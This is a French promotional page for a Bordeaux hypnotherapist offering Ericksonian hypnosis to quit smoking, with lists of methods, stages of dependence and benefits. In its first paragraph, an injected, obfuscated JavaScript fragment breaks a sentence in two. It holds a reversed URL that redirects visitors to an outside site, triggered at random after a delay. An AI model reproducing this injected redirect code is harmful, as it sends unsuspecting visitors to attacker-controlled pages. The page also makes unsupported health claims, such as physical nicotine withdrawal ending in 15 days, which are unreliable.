L’hypnose est la méthode qui s’impose actuellement pour arrêter de fumer naturellement et définitivement. J’adore l’hypnose ericksonienne. Si vous habitez en Gironde, je vous invite à venir vivre cette révolution à mon cabinet sur Bordeaux. Par expérience, sachez également qu’il est possible de faire des séances concluantes à distance. Mais avant cela, je vous propose un toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour d’horizon rapide des techniques, étapes et bienfaits de l’hypnose pour arrêter de fumer.
Solutions et méthodes pour arrêter de fumer
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acupuncture (éventuellement au laser),
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homéopathie,
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consultation en tabacologie,
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substituts nicotiniques (patch et gommes à la nicotine…).
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thérapies comportementales et cognitives
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la médecine et les médicaments…
Les 3 étapes de l’hypnose pour arrêter de fumer
La dépendance physique à la nicotine
Cette étape fondamentale est dépassée en seulement 15 jours. C’est le temps que je fixe entre la 1ère et la 2ème séance. La suite se fait donc sans manque physiologique réel.
La dépendance comportementale
La dépendance psychologique.
Les bienfaits de l’hypnose pour arrêter de fumer
Les avantages immédiats d’arrêter de fumer
- moins de stress
- moins de fatigue
- un meilleur sommeil…
Les bienfaits à long terme de l’arrêt du tabac
Les bénéfices psychologiques
Parmi les meilleurs bénéfices de l’arrêt du tabac, les principaux arrivent à long terme et de manière dissimulée. Le bénéfice spécifique, lié à l’hypnose et au travail sur la dépendance psychologique qui doit être mené, sera de vous faire gagner confiance en soi.
Les bienfaits sur la santé
Demandez à votre mutuelle une possible prise en charge
Julien Pinot | Mage Intérieur
Spiritualité et épanouissement personnel par la magie du voyage | Trickster ©
